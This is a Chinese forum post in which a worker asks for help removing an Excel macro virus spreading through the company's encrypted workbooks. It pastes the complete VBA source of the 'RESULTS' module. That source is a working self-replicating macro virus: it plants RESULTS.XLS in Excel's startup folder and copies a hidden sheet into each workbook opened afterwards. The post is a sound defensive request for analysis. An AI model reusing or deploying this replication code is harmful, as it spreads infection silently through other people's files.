哎~~ 公司里突然出现了一个病毒,附加在Excel文件的RESULTS模块里,然后平时文件还是加密的,杀毒软件也无可奈何。之前挨个文件手动删除过RESULTS模块,也删除了RESULTS.XLS文件,但总有漏网之鱼。因为文件是加密的,上传了也打不开,就不上传文件了,我把RESULTS模块的代码附上,请各位大佬帮忙看看。代码看起来不是很难,但平时文件是加密的,所以不好杀毒,解密服务器有杀毒软件,带毒无法解密。。很愁人。在此谢过各位。
[Visual Basic] 纯文本查看 复制代码
Sub auto_open()
Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "RESULTS.XLS")
If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("results").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then
Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("results").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case Else
End Select
End Sub
|